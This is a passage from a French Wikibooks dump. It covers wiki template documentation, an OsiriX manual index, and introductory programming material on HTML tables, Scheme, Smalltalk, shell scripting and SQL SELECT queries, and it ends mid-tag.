plus pratique qu'un modèle ! '''Remarque''' : comme pour toutes les articles, une page de discussion est attachée au modèle. Utilisez-la pour discuter de la forme du modèle, de ce que vous voudriez ajouter, supprimer, etc ! Quand vous avez créé un modèle, n'oubliez pas de venir le noter ici ! Voir [[Aide:Modèles]] pour en savoir plus sur le fonctionnement, la création et l'utilisation des modèles. ==Modèles pour les projets== ===Pour faire une sous section=== * [[Modèle:Sous section]] : <code><nowiki>{{Sous section|nom=NomDeMaPage/NomDeMaSection|couleur=blue|couleurbord=red|couleurfond=white}}</nowiki></code> <small>''(exemple : [[Wikijunior]])''</small> ::attribut '''nom''' : nom de la sous page, ::attribut '''couleur''' : couleur du bandeau, ::attribut '''couleurbord''' : couleur des bordures, ::attribut '''couleurfond''' : couleur de fond. ==Modèles pour les contributeurs== ''Voir aussi sous forme de tableau : [[Wikilivres:Modèles/contributeurs|Modèles/contributeurs]].'' ===Pour indiquer l'état d'un wikilivre=== {| rules="all" style="border: 1px solid #999;" cellspacing="0" cellpadding="3" |-bgcolor="#DFDFDF" ! style="text-align: left" | Syntaxe et explications ! width="70%" | Résultat |- | <nowiki>{{</nowiki>[[Modèle:00|00]]<nowiki>}}</nowiki> Ébauche |{{00}} |- | <nowiki>{{</nowiki>[[Modèle:25|25]]<nowiki>}}</nowiki> En cours |{{25}} |- | <nowiki>{{</nowiki>[[Modèle:50|50]]<nowiki>}}</nowiki> Bien avancé |{{50}} |- | <nowiki>{{</nowiki>[[Modèle:75|75]]<nowiki>}}</nowiki> Presque complet |{{75}} |- | <nowiki>{{</nowiki>[[Modèle:100|100]]<nowiki>}}</nowiki> Très complet |{{100}} |} ===Pour souhaiter la bienvenue à un nouveau=== {| rules="all" style="border: 1px solid #999;" cellspacing="0" cellpadding="3" |-bgcolor="#DFDFDF" ! style="text-align: left" | Syntaxe et explications ! width="70%" | Résultat |- | <nowiki>{{</nowiki>[[Modèle:Bienvenue|Bienvenue]]<nowiki>}}</nowiki> A utiliser dans une page personnelle pour accueillir un nouveau venu. Personnalise le message avec le nom de l'utilisateur et un lien sur sa page personnelle. | {{Bienvenue}} |} * Voir également : [[Wikilivres:Bienvenue]] ===Pour intégrer du code=== {| rules="all" style="border: 1px solid #999;" cellspacing="0" cellpadding="3" |-bgcolor="#DFDFDF" ! style="text-align: left" | Syntaxe et explications ! width="70%" | Résultat |- | <nowiki>{{</nowiki>[[Modèle:Cadre code|Cadre code]]<nowiki>|</nowiki>''Nom''<nowiki>|</nowiki>''Code''<nowiki>}}</nowiki> Pour intégrer un extrait de code à une page. | {{Cadre code|complexe.c|begin ... end}} |- | <nowiki>{{</nowiki>[[Modèle:Cadre fichier|Cadre fichier]]<nowiki>|</nowiki>''Nom''<nowiki>|</nowiki>''Contenu''<nowiki>}}</nowiki> Pour intégrer le contenu d'un fichier à une page. | {{Cadre fichier|mouton.txt|Le mouton est un animal à poils laineux ...}} |} ===Pour intégrer une définition, un exemple=== {| rules="all" style="border: 1px solid #999;" cellspacing="0" cellpadding="3" |-bgcolor="#DFDFDF" ! style="text-align: left" | Syntaxe et explications ! width="70%" | Résultat |- |<nowiki>{{</nowiki>[[Modèle:Définition|définition]]<nowiki>|</nowiki>définition=''texte''<nowiki>}}</nowiki> Pour intégrer une définition. | {{définition|définition=Une définition définit le mot qu'elle définit}} |- |<nowiki>{{</nowiki>[[Modèle:Exemple|exemple]]<nowiki>|</nowiki>''Titre''<nowiki>|</nowiki>''description''<nowiki>|</nowiki>''exemple''<nowiki>}}</nowiki> Pour intégrer un exemple. | {{exemple|Titre|description|Exemple}} |} ==Modèles pour les articles en général== {| rules="all" style="border: 1px solid #999;" cellspacing="0" cellpadding="3" |-bgcolor="#DFDFDF" ! style="text-align: left" | Syntaxe et explications ! width="70%" | Résultat |- |<nowiki>{{</nowiki>[[Modèle:Suppression|Suppression]]<nowiki>}}</nowiki> Page proposée à la suppression |{{suppression}} |- |<nowiki>{{</nowiki>[[Modèle:Ébauche|ébauche]]<nowiki>}}</nowiki> L'article est une ébauche appelée à être complétée |{{ébauche}} |- |<nowiki>{{</nowiki>[[Modèle:EnTravaux|EnTravaux]]<nowiki>}}</nowiki> En cours |{{EnTravaux}} |- |<nowiki>{{</nowiki>[[Modèle:En cours|En cours]]<nowiki>}}</nowiki> En cours, pour les modifications de courte durée |{{en cours}} |- |<nowiki>{{</nowiki>[[Modèle:Boîte déroulante|Boîte déroulante]]<nowiki>|</nowiki>align=''alignement''<nowiki>|</nowiki>titre=''titre''<nowiki>|</nowiki>contenu=''contenu''<nowiki>}}</nowiki> Boite déroulante ALIGN = left, right, center ou justify |{{Boîte déroulante|align=center|titre=Titre de la boîte à dérouler|contenu=Contenu de la boîte déroulée}} |} ==Modèles spécifiques aux livres== ===Modèles pour les [[Accueil/Langues|langues]]=== Insère un lien vers la langue dans Wikipédia et un lien vers l'apprentissage de la langue dans Wikilivres. {| rules="all" style="border: 1px solid #999;" cellspacing="0" cellpadding="3" |-bgcolor="#DFDFDF" ! style="text-align: left" | Syntaxe et explications ! width="70%" | Résultat |- |<nowiki>{{</nowiki>[[Modèle:allemand|allemand]]<nowiki>}}</nowiki> |{{allemand}} |- |<nowiki>{{</nowiki>[[Modèle:anglais|anglais]]<nowiki>}}</nowiki> |{{anglais}} |- |<nowiki>{{</nowiki>[[Modèle:chinois|chinois]]<nowiki>}}</nowiki> |{{chinois}} |- |<nowiki>{{</nowiki>[[Modèle:coréen|coréen]]<nowiki>}}</nowiki> |{{coréen}} |- |<nowiki>{{</nowiki>[[Modèle:espagnol|espagnol]]<nowiki>}}</nowiki> |{{espagnol}} |- |<nowiki>{{</nowiki>[[Modèle:espéranto|espéranto]]<nowiki>}}</nowiki> |{{espéranto}} |- |<nowiki>{{</nowiki>[[Modèle:hindi-l|hindi-l]]<nowiki>}}</nowiki> |{{hindi-l}} |- |<nowiki>{{</nowiki>[[Modèle:italien|italien]]<nowiki>}}</nowiki> |{{italien}} |- |<nowiki>{{</nowiki>[[Modèle:japonais-l|japonais-l]]<nowiki>}}</nowiki> |{{japonais-l}} |- |<nowiki>{{</nowiki>[[Modèle:néerlandais-l|néerlandais-l]]<nowiki>}}</nowiki> |{{néerlandais-l}} |- |<nowiki>{{</nowiki>[[Modèle:polonais|polonais]]<nowiki>}}</nowiki> |{{polonais}} |- |<nowiki>{{</nowiki>[[Modèle:portugais|portugais]]<nowiki>}}</nowiki> |{{portugais}} |- |<nowiki>{{</nowiki>[[Modèle:suédois|suédois]]<nowiki>}}</nowiki> |{{suédois}} |- |<nowiki>{{</nowiki>[[Modèle:russe|russe]]<nowiki>}}</nowiki> |{{russe}} |} ===Modèles pour le livre [[Programmation]]=== * [[Modèle:Programmation|<nowiki>{{Programmation}}</nowiki>]] : fait apparaître le texte "Cet article fait partie du livre [[Programmation]]" (lien y compris), permettant de retourner facilement au livre [[Programmation]]. Ce texte est précédé d'une ligne, à placer donc en fin d'article. {| |- ! Livre ! Modèle ! Raccourci ! Description |- | [[Programmation C]] | {{m|Programmation C}} | {{m|C}} | Table des matières à droite |- | [[Programmation C plus plus]] | {{m|Programmation C++}} | {{m|C++}} | Table des matières à droite |- | [[Programmation C++ (débutant)]] | {{m|Programmation C++ (débutant)}} | {{m|C++ débutant}} | Table des matières à droite |- | [[Programmation Glossaire]] | {{m|Programmation Glossaire}} | - | Fait apparaître au centre la liste des lettres du [[Programmation Glossaire|Glossaire de la Programmation]] |- | [[Programmation HTML]] | {{m|Programmation HTML}} | {{m|HTML}} | Table des matières à droite |- | [[Programmation JavaScript]] | {{m|Programmation JavaScript}} | {{m|JS}} | Table des matières à droite |- | [[Programmation Logo]] | {{m|Programmation Logo}} | {{m|Logo}} | Table des matières à droite |- | [[Programmation PHP]] | {{m|Programmation PHP}} | {{m|PHP}} | Table des matières à droite |- | [[Programmation Python]] | {{m|Programmation Python}} | {{m|Python}} | Table des matières à droite |- | [[Programmation XML]] | {{m|Programmation XML}} | {{m|XML}} | Table des matières à droite |- |} ===Modèle pour le [[Manuel de philosophie (terminale)|manuel de philosophie]]=== *[[:Modèle:SommairePhilo]] ===Modèles pour [[Le Grand Livre du Taupin]]=== * [[Modèle:Le Grand Livre du Taupin]] : <nowiki>{{Taupins}}</nowiki> : fait apparaître un menu à droite permettant de naviguer d'une partie à l'autre du livre. ===Modèles pour [[Wikijunior]]=== {| |- ! Livre ! Modèle ! Description |- | [[Wikijunior:Les félins|''Les félins'']] | {{m|Les félins}} | Table des matières à droite |- | [[Wikijunior:Système solaire|''Système solaire'']] | {{m|Système solaire}} | Table des matières à droite |- |} ==Modèles pour les images et documents multimédia== {{Commons|Wikibooks|Wikibooks}} *[[Modèle:Désormais sur Commons]] <nowiki>{{Désormais sur Commons|nom-fichier-sur-commons.png}}</nowiki> nettoyage des fichiers multimédias déjà présents sur [[commons:accueil|Commons]]. *[[Modèle:Capture d'écran]] pour capture d'écran refusée sur Commons mais tolérée ici (fair use). *[[Modèle:Commons]] pour indiquer que des documents multimédia sont présents sur ''Commons'' <nowiki>{{Commons|Wikibooks}}</nowiki> [[:Catégorie:Licence image|les licences]] : * {{m|licence inconnue}} : ''la licence de l'image n'est pas connue :)'' * {{m|domaine public}} : ''l'auteur a renoncé à ses droits ou le temps a fait effet...'' * {{m|fair use}} : ''l'image n'est pas libre, mais sa diffusion est tolérée sous certaines conditions'' * {{m|GFDL}} : ''la licence [[w:GFDL|GNU Free Documentation License]]'' ==Modèle divers== ==Voir aussi== * [[Aide:Modèles]] * La page d'[[Actualités]] contient la liste des nouveaux modèles [[Catégorie:Modèle|*]] Modèle:Ébauche 771 12450 2004-11-07T20:13:54Z Esope 99 "wikilivrication" des liens menant vers les pages Wikipédia [[catégorie:Wikilivres:ébauches]]<div class="plainlinks"> {| class="WSerieH" id="ebauche" style="font-size:small; padding: 3px; background: #f7f8ff; border: 1px solid gray; margin: 0 1em 0 1em" |- |[[Image:WikiLettreMini.png]] |Cette page est considérée comme une [[Wikilivres:Ébauches à compléter|ébauche à compléter]]. Si vous possédez quelques connaissances sur le sujet, vous pouvez les partager en éditant dès à présent cette page (en cliquant sur le lien '''«&nbsp;[{{SERVER}}{{localurl:{{PAGENAME}}|action=edit}} modifier]&nbsp;»'''). |}</div> Image:WikiLettreMini.png 772 12451 2004-11-07T15:30:45Z Marc 66 copié de fr: copié de fr: Modèle:Suppression 773 32321 2006-02-10T11:53:00Z Greudin 1 màj depuis encyclo <noinclude> <!-- N'insérer AUCUN blanc ou saut de ligne avant < noinclude > ou après < /noinclude >. --> [[Catégorie:Modèle suppression|*Modele:Suppression]] [[Catégorie:Page proposée à la suppression|*Modele:Suppression]] [[de:Vorlage:Löschantrag]] [[en:Template:Afd]] Ce modèle permet d'indiquer qu'une '''page à été proposée à la suppression'''. L'apposition d'un tel bandeau rend '''impératif de suivre la procédure décrite sur [[Wikilivres:Pages à supprimer]]'''. == Utilisation == Vous pouvez placer ce modèle dans un article, généralement au début afin de le faire apparaître sous forme de bandeau, en utilisant l'une des deux syntaxes suivantes : * '''<nowiki>{{Suppression}}</nowiki>''' * '''<nowiki>{{Suppression|Nom}}</nowiki>''' == Rendu dans les articles == </noinclude><div class="alerte" id="style2"> {| style="background:#FFFFDD" |- valign="center" | [[Image:Icono consulta borrar.png|32px|poubelle]] || <span title="Proposée ne signifie pas automatiquement que la page sera supprimée..." style="cursor: help">''Cette page est ''' proposée''' <sup style="color:#002bb8">(?)</sup>''</span> ''dans la liste des [[Wikilivres:Pages à supprimer|pages à supprimer]], vous êtes invité à [[Wikilivres:Pages à supprimer#{{PAGENAME}}|donner votre avis sur cette demande de suppression]]''. |- | colspan="2" | ''Si vous venez d'apposer ce bandeau, '''veuillez créer la page de discussion''' en cliquant sur le lien rouge ci-dessus. Afin de faciliter le vote, veillez à ce que le contenu soit entièrement visible et non pas blanchi. Les bandeaux de suppression apposés sans la création de la page de vote seront '''systématiquement retirés'''. Merci.'' |} </div> <includeonly>[[catégorie:suppression]]</includeonly> Image:Poubelle.png 774 12453 2004-11-07T15:33:06Z Marc 66 fr: fr: Documentation en ligne de OsiriX 775 31992 2006-02-07T17:13:43Z 213.228.0.86 Formulation plus exacte. <center>[[Image:Logo.jpg]]</center> <br> '''OsiriX''' est un programme opensource écrit par Antoine Rosset, M.D., qui transforme un Apple Macintosh en une station de travail PACS DICOM et d'affichage d'imagerie médicale. '''OsiriX''' est distribué sous license GNU General Public License et son code source est disponible à tout un chacun. ---- == Introduction == #[[Documentation en ligne de OsiriX/A propos d'OsiriX|À propos d'OsiriX]] #[[Documentation en ligne de OsiriX/Spécifications d'OsiriX|Spécifications d'OsiriX]] #[[Documentation en ligne de OsiriX/Système minimum nécessaire pour OsiriX|Configuration minimum nécessaire pour OsiriX]] #[[Documentation en ligne de OsiriX/Télécharger et installer OsiriX|Télécharger et installer OsiriX]] == OsiriX pratique == #[[Documentation en ligne de OsiriX/Importer des images DICOM dans OsiriX|Importer des images DICOM dans OsiriX]] #[[Documentation en ligne de OsiriX/Modifier les fenêtres d'OsiriX|Modifier les fenêtres d'OsiriX]] #[[Documentation en ligne de OsiriX/Ouvrir plusieurs séries simultanément|Ouvrir plusieurs séries simultanément]] #[[Documentation en ligne de OsiriX/Examiner plusieurs séries simultanément|Examiner plusieurs séries simultanément]] #[[Documentation en ligne de OsiriX/Administrer une base de données locale OsiriX|Administrer une base de données locale OsiriX]] #[[Documentation en ligne de OsiriX/Fusionner des images|Fusionner des images]] #[[Documentation en ligne de OsiriX/Ouvrir des images et films non-DICOM|Ouvrir des images et films non-DICOM]] #[[Documentation en ligne de OsiriX/Exporter des images DICOM|Exporter des images DICOM]] #[[Documentation en ligne de OsiriX/Utiliser la fenêtre 4-D|Utiliser la fenêtre 4-D]] #[[Documentation en ligne de OsiriX/Reconstruction multi-plan (MPR)|Reconstruction multi-plan (MPR)]] #[[Documentation en ligne de OsiriX/Reconstruction 3-D|Reconstruction 3-D]] #[[Documentation en ligne de OsiriX/Utiliser OsiriX comme station PACS|Utiliser OsiriX comme station PACS]] #[[Documentation en ligne de OsiriX/Utiliser 2-D thick slabs|Utiliser 2-D thick slabs]] #[[Documentation en ligne de OsiriX/Raccourcis clavier de navigation|Raccourcis clavier de navigation]] #[[Documentation en ligne de OsiriX/Accélérer OsiriX|Accélérer OsiriX]] #[[Documentation en ligne de OsiriX/Utiliser les Plugins d'OsiriX|Utiliser les Plugins d'OsiriX]] == Référence des menus OsiriX == # [[Documentation en ligne de OsiriX/OsiriX Menu|OsiriX]] # [[Documentation en ligne de OsiriX/Osirix File Menu|File]] # [[Documentation en ligne de OsiriX/OsiriX Edit Menu|Edit]] # [[Documentation en ligne de OsiriX/OsiriX Format Menu|Format]] # [[Documentation en ligne de OsiriX/OsiriX 2D Viewer Menu|2D Viewer]] # [[Documentation en ligne de OsiriX/OsiriX 3D Viewer Menu|3D Viewer]] # [[Documentation en ligne de OsiriX/OsiriX ROI Menu|ROI]] # [[Documentation en ligne de OsiriX/OsiriX Plugins Menu|Plugins]] # [[Documentation en ligne de OsiriX/OsiriX Window Menu|Window]] # [[Documentation en ligne de OsiriX/OsiriX Help Menu|Help]] == liens externes == * [http://homepage.mac.com/rossetantoine/osirix/ OsiriX Homepage] [[de:OsiriX Online Handbuch]] [[en:Online OsiriX Documentation]] [[es:Documentación en línea de OsiriX]] [[ja:OsiriX オンライン解説文書]] Image:Logo.jpg 776 12455 2004-11-13T21:45:31Z Xmlspeed 107 Logo OsiriX, GPL Programmation HTML Tableaux 779 40841 2006-04-24T13:47:53Z Gromitt 1388 /* Fusionner des cellules */ Correction erreur (abus de copier/coller ?) {{Programmation HTML}} Avant toute chose, il est nécessaire de rappeler que l'utilisation de tableaux doit se limiter au classement et à la présentation des données. Ce n'est donc pas un outil de mise en page même s'il est souvent employé, par erreur, à cet effet. Car par sa rigueur voire sa rigité, il empêche et complexifie, à l'usage, la mise en page d'un site internet.<br /> En revanche, pour la présentation de données statistiques par exemple, il ne possède aucune concurrence. == Balises de bases == La déclaration d'un tableau se fait grâce à la balise <code>table</code>. *La balise <code>tr</code> ('''t'''able '''r'''ow) permet de définir une ligne, une rangée dans un tableau. Cette balise encadre les balises <code>td</code> de cellules. *La balise <code>td</code> ('''t'''able '''d'''ata) permet de définir une cellule de donnée dans une ligne. Elle sera contenue obligatoirement dans la balise <code>tr</code>. *La balise <code>th</code> ('''t'''able '''h'''eader) permet de définir des cellules comme étant des entêtes de lignes ou de colonnes. Généralement, le texte sera mis en emphase suivant les styles par défaut du navigateur ou de l'utilisateur. == Balises de groupement == Les balises de groupement permettent comme leur nom l'indique de grouper des cellules entre elles suivant leur nature. Il est possible de créer des groupes de lignes ou de colonnes. La définition correcte de ces groupes permet entre autres une définition plus aisée des styles. === Lignes === *La balise <code>thead</code> permet de grouper les lignes d'entête. Elle est généralement utilisée conjoitement à la balise <code>th</code>. *La balise <code>tbody</code> permet de grouper les lignes du "corps" c'est-à-dire de la partie principale du tableau. *La balise <code>tfoot</code> permet à l'instar des deux précédentes de grouper les lignes du pied de tableau. Elle est par exemple utilisée lorsque, dans le cas d'un tableau très long, les titres sont reproduits à la fin dans le but d'obtenir une meilleur lisibilité. === Colonnes === Les balises <code>col</code> <code>colgroup</code> permettent de définir un groupe de colonnes dans le but d'appliquer un style ou une taille précise à une ou plusieurs colonnes. Elles s'utilisent de cette façon : <pre> <nowiki> <colgroup [attributs] > <col [attributs] /> <col [attributs] /> </colgroup> </nowiki> </pre> ==Fusionner des cellules== Il est possible de fusionner des cellules entre elles en utilisant des attributs de la balise <code>td</code>. La fusion de plusieurs cellules d'une même ligne, c'est-à-dire de plusieurs colonnes, se fait grâce à l'option <code>colspan</code> et la fusion de plusieurs cellules appartenant à une même colonne, c'est-à-dire de plusieurs lignes, avec l'option <code>rowspan</code>. Ces deux attributs prennent la valeur correspondant aux nombres de cellules que l'on souhaite fusionner. Par exemple pour fusionner trois cellules d'une colonne : <pre><nowiki> <table> <tr> <td colspan="3">triple cellule</td> </tr> <tr> <td>cellule simple</td> <td>deuxième cellule simple</td> <td>troisième cellule simple</td> </tr> </table> </nowiki></pre> Et voilà le résultat : <table border="1"> <tr> <td colspan="3">triple cellule</td> </tr> <tr> <td>cellule simple</td> <td>deuxième cellule simple</td> <td>troisième cellule simple</td> </tr> </table> Pour fusionner trois cellules d'une colone, c'est un peu plus complexe toujours à cause de la construction linéaire des tableaux. <pre><nowiki> <table> <tr> <!-- La première cellule des trois prochaines lignes seront fusionnées avec la suivante --> <td rowspan="3">cellule 1</td> <td>cellule simple</td> <td>cellule simple</td> <td>cellule simple</td> </tr> <tr> <!-- La première cellule de cette ligne étant fusionnée avec la précédente, elle ne doit pas être définie --> <td>cellule simple</td> <td>cellule simple</td> <td>cellule simple</td> </tr> <tr> <!-- La première cellule de cette ligne étant fusionnée avec la précédente, elle ne doit pas être définie --> <td>cellule simple</td> <td>cellule simple</td> <td>cellule simple</td> </tr> </table> </nowiki></pre> <table border="1"> <tr> <td rowspan="3">cellule 1</td> <td>cellule simple</td> <td>cellule simple</td> <td>cellule simple</td> </tr> <tr> <td>cellule simple</td> <td>cellule simple</td> <td>cellule simple</td> </tr> <tr> <td>cellule simple</td> <td>cellule simple</td> <td>cellule simple</td> </tr> </table> Programmation Scheme 780 12457 2004-11-08T20:19:39Z Guillaumito 46 -Fr * [[Programmation Scheme Introduction|Introduction]] * [[Programmation Scheme REPL|La boucle d'évaluation]] Programmation Scheme Introduction 781 12458 2004-11-08T16:21:51Z Traroth 42 cp Scheme est un langage de programmation dérivé du langage fonctionnel Lisp, créé dans les années 1970 au MIT par Gerald Jay Sussman et Guy L. Steele. Le but des créateurs du langage était d'épurer le langage Lisp en en conservant les aspects essentiels, la flexibilité et la puissance expressive. Scheme a donc une syntaxe extrêmement simple, avec un nombre très limité de mots-clé. Comme en Lisp, la notation préfixée permet de s'affranchir des opérateurs de précédence. De plus, la puissance des macros de Scheme lui permettent de s'adapter à n'importe quel problème, notamment de le rendre orienté objet et donc multi-paradigme. La spécification de Scheme précise que toutes les implémentations doivent optimiser le cas de la récursion terminale. Les types de données de base de Scheme sont les booléens, les nombres, qui peuvent être entiers de taille indéfinie, rationnels ou complexes, les caractères ou les symboles, qui sont des variables. A ceux-là s'ajoutent des types de données composites suivants : chaînes de caractères, vecteurs, paires orientées, listes, listes associatives, tables de hachage et un type particulier générique, la S-expression, dont tous les autres types dérivent, rendant possible la méta-programmation, c'est-à-dire la capacité qu'a un programme d'agir sur lui-même. Programmation Scheme REPL 782 12459 2004-12-20T19:50:48Z 217.128.91.4 Sauf exception tous les systèmes Scheme disposent d'un interpréteur. L'interpréteur fonctionne selon une boucle d'évaluation, appelée REPL (pour '''R'''ead '''E'''val '''P'''rint '''L'''oop). Dans cette boucle, l'interpréteur : * '''R''') lit une expression. * '''E''') évalue (calcule le résultat de) cette expression. * '''P''') imprime sur la sortie standard le résultat de l'évaluation. * '''L''') recommence en '''R'''). Un exemple d'évaluation : <blockquote> <code> scheme&gt; (+ 1 2 3 4 5 6) <br> <i>&rArr; 21</i> </code> </blockquote> L'invite de l'interpréteur est symbolisée ici par '''scheme&gt;''', et varie selon les systèmes utilisés. Le résultat de l'expression évaluée (la somme des entiers de 1 à 6), est ici imprimée au-dessous en caractères italiques. La boucle d'évaluation permet d'utiliser le système comme une calculette sophistiquée, de saisir ou tester des expressions relativement simples. Pour des programmes plus complexes, on utilisera un éditeur de textes capable d'apparier les parenthèses, comme Emacs, et on chargera le code saisi dans l'évaluateur : <blockquote> <code> scheme&gt; (load "mon-code.scm") <i>;; Le source se trouve dans le fichier mon-code.scm </code> </blockquote> Les parenthèses déroutent les débutants en Scheme ou Lisp. Avec un peu d'expérience &ndash; et un bon éditeur &ndash; on les oublie, on doit les oublier. Le code Scheme se lit et s'écrit selon l'indentation. Il n'y a pas de ''diagonales'' de parenthèses fermantes en Scheme, comme on peut en rencontrer en C++ ou Java ; l'imbrication des blocs est définie par leur seule indentation &ndash; les parenthèses sont destinées au compilateur ou à l'interpréteur, le programmeur Scheme, lui, ne les voit pas... <blockquote> <pre> (define (fold-left func seed lyst) (if (null? lyst) seed (fold-left func (func seed (car lyst)) (cdr lyst)))) </pre> </blockquote> <blockquote> <code> scheme&gt; (fold-left + 0 (list 1 2 3 4 5 6)) <br> <i>&rArr; 21</i> </code> </blockquote> <blockquote> <code> scheme&gt; (fold-left * 1 (list 1 2 3 4 5 6)) <br> <i>&rArr; 720</i> </code> </blockquote> Programmation Smalltalk 783 12460 2004-11-08T20:23:01Z Guillaumito 46 -Fr * [[Programmation Smalltalk Introduction|Introduction]] Programmation Smalltalk Introduction 784 30181 2006-01-24T16:53:33Z 82.126.31.200 '''Smalltalk''' est un des premiers langages de programmation orienté objet. Il a été créé en 1972. Il est inspiré par Lisp et Simula. Il a été conçu par Alan Kay au Palo Alto Research Center de Xerox Il implante, en plus des principes objets de bases (classe, objet, héritage, polymorphisme), des concepts originaux (métaclasse) et intodruit la notion d'objet persistant, de traitement des exceptions et le principe Modèle-Vue-Contrôleur. Les environnements d'exécution Smalltalk ont également été parmi les premiers à comprendre un ramasse-miette, principe repris par Java. Un autre atout de Smalltalk est la richesse de sa bibliothèque standard. Programmation Shellscript 785 12462 2004-11-08T20:26:22Z Guillaumito 46 -Fr [[Programmation|<Retour au sommaire]] *[[Programmation Shellscript Introduction|Introduction]] *[[Programmation Shellscript Manuel en ligne|Manuel en ligne]] *[[Programmation Shellscript Principes et commandes de base|Principes et commandes de base]] *[[Programmation Shellscript Expressions régulières|Expressions régulières]] *[[Programmation Shellscript Variables et paramètres|Variables et paramètres]] *[[Programmation Shellscript Conditions et tests|Conditions et tests]] *[[Programmation Shellscript Itérations|Itérations]] *[[Programmation Shellscript Fonctions|Fonctions]] *[[Programmation Shellscript Commande cat|Commande cat]] *[[Programmation Shellscript Commande clear|Commande clear]] *[[Programmation Shellscript Commande cut|Commande cut]] *[[Programmation Shellscript Commande date|Commande date]] *[[Programmation Shellscript Commande du|Commande du]] *[[Programmation Shellscript Commande echo|Commande echo]] *[[Programmation Shellscript Commande expr|Commande expr]] *[[Programmation Shellscript Commande find|Commande find]] *[[Programmation Shellscript Commande grep|Commande grep]] *[[Programmation Shellscript Commande read|Commande read]] *[[Programmation Shellscript Commande sed|Commande sed]] *[[Programmation Shellscript Commande select|Commande select]] *[[Programmation Shellscript Commande shift|Commande shift]] *[[Programmation Shellscript Commande sort|Commande sort]] *[[Programmation Shellscript Commande uname|Commande uname]] *[[Programmation Shellscript Conclusion|Conclusion]] Programmation Shellscript Principes et commandes de base 786 12463 2004-11-08T20:24:49Z Guillaumito 46 -Fr [[Programmation|<Retour au sommaire]] | [[Programmation Shellscript|<Retour au sommaire Shellscript]] ==Principes d'UNIX== ===Hiérarchie de fichiers=== *ls *mkdir *rmdir *cd *pwd *chroot ===Droits d'accès=== *who *whoami *chmod *chgrp ===Processus=== *kill *ps ===Entrée/Sortie=== *read *echo *tee ==Principes des shellscript== Programmation bash 788 29634 2006-01-21T01:30:24Z Guillaumito 46 lien vers Wikipédia (on ne crééra jamais ces pages ici) {{Programmation bash}} Le '''bash''' est un [[w:shell|shell]] écrit pour le projet [[w:GNU|GNU]]. Son nom est l'acronyme de ''Bourne-Again SHell'' : un calembour sur le shell Bourne sh, qui était le shell original d'[[w:Unix|Unix]]. La syntaxe du bash est compatible avec sh et inclut des idées tirées de csh et ksh. Le shell Bourne original fut écrit par [[w:Stephen Bourne|Stephen Bourne]]. Le bash a été principalement écrit par [[w:Brian Fox|Brian Fox]] et [[w:Chet Ramey|Chet Ramey]]. Le bash est le shell par défaut de la plupart des systèmes GNU/Linux : il peut donc fonctionner sur la plupart des systèmes d'exploitation de type Unix. Il a été aussi porté sous Windows par le projet Cygwin. Le bash est distribué sous la licence libre GNU GPL. Il est disponible en téléchargement sur de nombreux sites internet, incluant le site FTP du projet GNU. Programmation ksh 790 25558 2005-11-17T09:16:58Z Guillaumito 46 lien wikipédia {{Programmation ksh}} Korn shell (ksh) est un shell Unix développé par David Korn. Il est compatible avec le Bourne shell et inclut également un grand nombre de fonctionnalités du C shell, mais il permet également des fonctions de scripting avancées utilisées dans des langages de programmation plus évolués comme awk, sed, et Perl. {{Wikipédia|Korn shell}} Programmation SQL 791 35500 2006-03-02T11:36:35Z Merrheim 1032 {{Programmation SQL}} {| width="70%" border="0" cellspacing="0" cellpadding="5" |- | bgcolor="#FOE0F0" align="center" colspan="2" | {| width="100%" bgcolor="#FOE0F0" |- | bgcolor="#F0E0F0" valign="middle" width="90%" align="center" | <font size="+1">Le langage SQL</font> ''Un livre appartenant à la série [[Programmation]] du [[Département informatique/Bibliothèque|Département informatique]] <br/> et à l'[[Accueil/Informatique|étagère Informatique]] de [[Accueil|Wikilivres]]''. |- |} |- bgcolor="lightyellow" valign="top" colspan="2" | {{Sous section|nom=Le langage SQL/Sommaire|couleur=#F0E0F0|couleurbord=darkblue|couleurfond=white}} |- | colspan="2" align="center" | {| |- | align="left" | |- |} |- |} [[en:Programming:SQL]] Programmation SQL Langage de manipulation de données 792 42268 2006-05-14T08:33:43Z Ollie314 1521 /* Sous-requêtes */ {{Programmation SQL}} == Introduction == Pour tester les exemples et suivre correctement ce tutorial, nous vous conseillons de lire l'instruction suivante. * [[Instruction_pour_bien_suivre_le_cours_SQL|Instruction pour bien suivre le cours SQL]] == Instruction SELECT == L'instruction SELECT permet de renvoyer une table contenant les données correspondantes aux critères qu'elle contient. La forme générale d'une instruction SELECT (on parle également de ''phrase SELECT'' ou ''requête'') est : <tt>SELECT [ALL] | [DISTINCT] * | <liste de champs ou d'instructions d'aggrégation></tt> <br /> :<tt>FROM <liste de tables></tt> <br /> ::<tt>WHERE <condition></tt> <br /> :::<tt>GROUP BY <champs de regroupement></tt> <br /> ::::<tt>HAVING <condition></tt> <br /> :::::<tt>ORDER BY <champs de tri> [DESC] | [ASC]</tt> <br /> Détails des clauses: === SELECT === La clause SELECT permet de spécifier les informations qu'on veut récuperer. Elle contient des champs provenant de tables spécifiées dans la clause FROM, ainsi que des instructions d'aggrégation portant sur ces champs.<br /> Le nom des champs ne doit pas être équivoque, ce qui veut dire que si des champs de tables différentes ont le même nom, les champs doivent être préfixés par le nom de la table : <tt>nom_de_table.nom_de_champs</tt><br /> Si la requête comporte la clause DISTINCT, les doublons (lignes de la table de resultat ayant exactement les mêmes valeurs dans tous les champs) seront éliminés, alors qu'avec la clause ALL, tous les resultats sont renvoyés.<br /> SELECT * permet de renvoyer tous les champs de toutes les tables spécifiées dans FROM. ==== Instructions d'aggrégations ==== Les instructions d'aggrégation permettent des opérations comme le comptage ou les sommes. Les différentes instructions d'aggrégation sont : * AVG(<champs>) * COUNT(*) * MAX (<champs>) * MIN (<champs>) * SUM (<champs>) === FROM === Détermine sur quelles tables l'on fait la requête. Le nom des tables et des champs sont séparé par des "virgule". <i>Exemple :</i> <br/> :<tt>SELECT nom, prenom </tt><br/> :::<tt>FROM table_president ;</tt> <i>Résultat : </i> <table border="1" cellspacing="0" cellpadding="4" align="center"> <tr> <td><b>nom</b></td> <td><b>prenom</b></td> </tr> <tr> <td>Chirac</td> <td>Jacques</td> </tr> <tr> <td>Couchepin</td> <td>Pascal</td> </tr> <tr> <td>Berlusconi</td> <td>Silvio</td> </tr> <tr> <td>Merkel</td> <td>Angela</td> </tr> </table> Pour voir l'utilisation avec plusieurs tables voir plus bas le chapitre <b>jointure</b>. Si vous voulez récupérer tout les enregistrements de la table, il suffit de remplacer le nom des champs par une "étoile". <i>Exemple :<i><br/> :<tt>SELECT * </tt><br/> :::<tt>FROM table_president;</tt> <br/> Ou <br/> :<tt>SELECT table_president.* </tt><br/> :::<tt>FROM table_president ;</tt> </tt> <br/> <i>Résultat :</i> <table 